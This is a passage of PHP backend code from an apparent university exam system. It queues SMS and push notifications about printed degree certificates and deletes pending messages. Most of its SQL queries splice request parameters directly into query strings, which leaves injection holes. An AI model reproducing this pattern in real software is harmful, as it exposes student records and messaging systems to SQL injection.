mcmsg mc inner join degree d on mc.fdegree = d.fdegree and mc.fexamno = d.fexamno inner join logisys3_comexam.masuser m on m.fregno = mc.fregno where m.funivcode = '{$univcode}' and ifnull(m.fappmobid,'') <> '' and ifnull(mc.fstatus,'F') = 'F'"; $result = $aobj_context->pobj_db->Execute($query); $query = "update mcmsg set fstatus = 'T' where ifnull(fstatus,'') = ''"; $result = $aobj_context->pobj_db->Execute($query); } break; case 'Degree Certificate': $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $fstudtype = $req['fstudtype']; $fmodule = $req['fmodule']; $enttype = 'DC'.date('Ymd'); $query = "INSERT IGNORE INTO logisys3_comexam.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate,fmsgtype, fusertype) SELECT DISTINCT '{$univcode}', m.fregno, m.fmobileno, '{$enttype}', '{$enttype}', concat('From ',c.ffolder,': Dear Student (Reg. No. : ',mc.fregno,'), Your Degree Certificate has been printed and dispatched. Certificate number is : ',mc.fmcno,' - Uniclare') AS fmessage, 'F', 'F', year(now()), '1', NOW(),'G', '900' FROM control c, dcmsg mc inner join logisys3_comexam.masuser m on m.fregno = mc.fregno where m.funivcode = '{$univcode}' and ifnull(mc.fstatus,'F') = 'F'"; $result = $aobj_context->pobj_db->Execute($query); //var_dump($query); if($result) { $query = "insert ignore into logisys3_comexam.pushnotif(funivcode,fmobileno,fmobappid, fcollcode, fregno, fdegree, fenttype, fsubcode, ftitle, fbody, fstatus, fyear, fexamtype, fpushdate) select distinct '{$univcode}',m.fmobileno,m.FAPPMOBID,mc.fdegree, m.fregno, mc.fdegree, '{$enttype}', '{$enttype}', 'Degree Certificate has been printed and dispatched' as ftitle, concat('From ',c.ffolder,': Dear Student (Reg. No. : ',mc.fregno,'), Your Degree Certificate has been printed and dispatched. Certificate number is : ',mc.fmcno,' - Uniclare') AS fmessage, 'F', year(now()), '1',NOW() from control c, dcmsg mc inner join logisys3_comexam.masuser m on m.fregno = mc.fregno where m.funivcode = '{$univcode}' and ifnull(m.fappmobid,'') <> '' and ifnull(mc.fstatus,'F') = 'F'"; // var_dump($query); // die(); $result = $aobj_context->pobj_db->Execute($query); $query = "update dcmsg set fstatus = 'T' where ifnull(fstatus,'') = ''"; $result = $aobj_context->pobj_db->Execute($query); } break; case 'SSPC': $fmsg = $req['fmsg']; $fcollfrom = $req['fcollfrom']; $fcollto = $req['fcollto']; $fregfrom = $req['fregfrom']; $fregto = $req['fregto']; $fdegfrom = $req['fdegfrom']; $fdegto = $req['fdegto']; $fstudtype = $req['fstudtype']; $fmodule = $req['fmodule']; $query ="INSERT IGNORE INTO {$commondb}.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate,fmsgtype, fusertype) SELECT DISTINCT '{$univcode}', m.fregno, m.fmobileno, 'SSPC', 'SSPC', CONCAT('{$req['fmsg']}') AS fmessage, 'F', 'F', YEAR(NOW()), '2', NOW(), 'G', '900' FROM {$commondb}.masuser m where m.funivcode = '' and fregno in (select distinct fregno from res_stud where ifnull(fxrpath, '') <> '' and ifnull(fpaymentstatus,'') = 'success' and fregno between '{$fregfrom}' and '{$fregto}' and fcollcode between '{$fcollfrom}' and '{$fcollto}' and fdegree between '{$fdegfrom}' and '{$fdegto}' )"; $result = $aobj_context->pobj_db->Execute($query); default: break; } } else if($req['fsendto'] == 'CL') { $query = "select funivcode, funivname, fdbname, fstaffmobileno, fgenmsgno from {$commondb}.dbname where funivcode = '{$univcode}'"; $comexamRes = $aobj_context->mobj_db->GetRow($query); $db = $comexamRes['fdbname']; $funivname = $comexamRes['funivname']; $stafmobile = $comexamRes['fstaffmobileno']; $msgno = $comexamRes['fgenmsgno']; $timestamp = date("dmY"); $entype = "CM".$msgno.$timestamp; $message = $req['fmsg']; $query = "insert ignore into {$commondb}.sendsms (funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct '{$univcode}', fmobile, fmobile, '{$entype}', '{$entype}', '{$message}', 'F', 'F', dg.fyear, dg.fexamtype, NOW(), 'G', '500' from college c, control ct, deggrp dg where IFNULL(c.fdeleted,'') <> 'T' and IFNULL(fmobile,'') <> '' and instr(ffaculty, dg.fdeggrp) > 0 and c.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and fdeggrp in ('{$deggrp}')"; $result = $aobj_context->pobj_db->Execute($query); $req['fevent'] = $entype; if($result) { $query = "update logisys3_comexam.dbname set fgenmsgno = fgenmsgno+1 where funivcode = '{$univcode}'"; $update = $aobj_context->mobj_db->Execute($query); } } else if($req['fsendto'] == 'CT') { $query = "select funivcode, funivname, fdbname, fstaffmobileno, fgenmsgno from logisys3_comexam.dbname where funivcode = '{$univcode}'"; $comexamRes = $aobj_context->mobj_db->GetRow($query); $db = $comexamRes['fdbname']; $funivname = $comexamRes['funivname']; $stafmobile = $comexamRes['fstaffmobileno']; $msgno = $comexamRes['fgenmsgno']; $timestamp = date("dmY"); $entype = "CM".$msgno.$timestamp; $message = $req['fmsg']; $query = "insert ignore into logisys3_comexam.sendsms (funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select '{$univcode}', c.fmobile, c.fmobile, '{$entype}', '{$entype}', '{$message}', 'F', 'F', dg.fyear,dg.fexamtype, NOW(), 'G', '500' from college c, deggrp dg, candsum dc,degree d where dc.fyear = dg.fyear and dc.fexamtype = dg.fexamtype and c.fcollcode = dc.fcntrcode and IFNULL(c.fdeleted,'') <> 'T' and IFNULL(c.fmobile,'') <> '' and dc.fdegree = d.fdegree and d.fexamno= 'A' and dg.fdeggrp = d.fdeggrp and ifnull(dc.frecptdate,'') <> '' and c.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and dg.fdeggrp in ('{$deggrp}') group by dc.fcntrcode"; //var_dump($query); //die(); $result = $aobj_context->pobj_db->Execute($query); $req['fevent'] = $entype; if($result) { $query = "update logisys3_comexam.dbname set fgenmsgno = fgenmsgno+1 where funivcode = '{$univcode}'"; $update = $aobj_context->mobj_db->Execute($query); } } else if($req['fsendto'] == 'TH') { $query = "select funivcode, funivname, fdbname, fstaffmobileno, fgenmsgno from logisys3_comexam.dbname where funivcode = '{$univcode}'"; $comexamRes = $aobj_context->mobj_db->GetRow($query); $db = $comexamRes['fdbname']; $funivname = $comexamRes['funivname']; $stafmobile = $comexamRes['fstaffmobileno']; $msgno = $comexamRes['fgenmsgno']; $timestamp = date("dmY"); $entype = "TH".$msgno.$timestamp; $message = "[{$msgno}]".$req['fmsg']; $boardCond = ""; if($req['fboardfrom'] > '000'){ $boardCond = "and mq.fboard between '{$req['fboardfrom']}' and '{$req['fboardto']}'"; } $query = "insert ignore into logisys3_comexam.sendsms(funivcode, fregno, fmobileno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate, fmsgtype, fusertype) select distinct '{$univcode}', fmobile, fmobile, '{$entype}', '{$entype}', '{$message}', 'F', 'F', dg.fyear,dg.fexamtype, NOW(), 'G', '600' from masteach c inner join deggrp dg on dg.fdeggrp in ('{$deggrp}') left join teachsub ts on ts.fteachcode = c.fteachcode left join masqp mq on mq.fqpcode = ts.fqpcode where IFNULL(c.fdeleted,'') <> 'T' and IFNULL(c.fmobile,'') <> '' and c.fcollcode between '{$req['fcollfrom']}' and '{$req['fcollto']}' and c.fteachcode between '{$req['fteachfrom']}' and '{$req['fteachto']}' {$boardCond}"; // var_dump($query); $result = $aobj_context->pobj_db->Execute($query); $req['fevent'] = $entype; if($result) { $query = "update logisys3_comexam.dbname set fgenmsgno = fgenmsgno+1 where funivcode = '{$univcode}'"; $update = $aobj_context->mobj_db->Execute($query); } } if($result) { $rows = $aobj_context->pobj_db->affected_rows(); $arr['msg'] = "{$rows} Records Inserted. Press send button."; $arr['event'] = $req['fevent']; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr['msg'] = 'DATA Push Failed'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function deleteSms($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fenttype = $aobj_context->req_body['fenttype']; $fusertype = $aobj_context->req_body['fusertype']; $univcode = $aobj_context->mobj_data['univcode']; if ($fenttype == "" || $fusertype == "") { $arr['msg'] = 'Invalid Params'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } $query = "delete from logisys3_comexam.sendsms where funivcode = '{$univcode}' and fusertype = '{$fusertype}' and fenttype = '{$fenttype}' and fstatus = 'F' "; $result = $aobj_context->mobj_db->Execute($query); if($result) { $rows = $aobj_context->mobj_db->affected_rows(); $arr['msg'] = "{$rows} Records deleted."; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } else { $arr['msg'] = 'deletion Failed.'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } ?>
Close
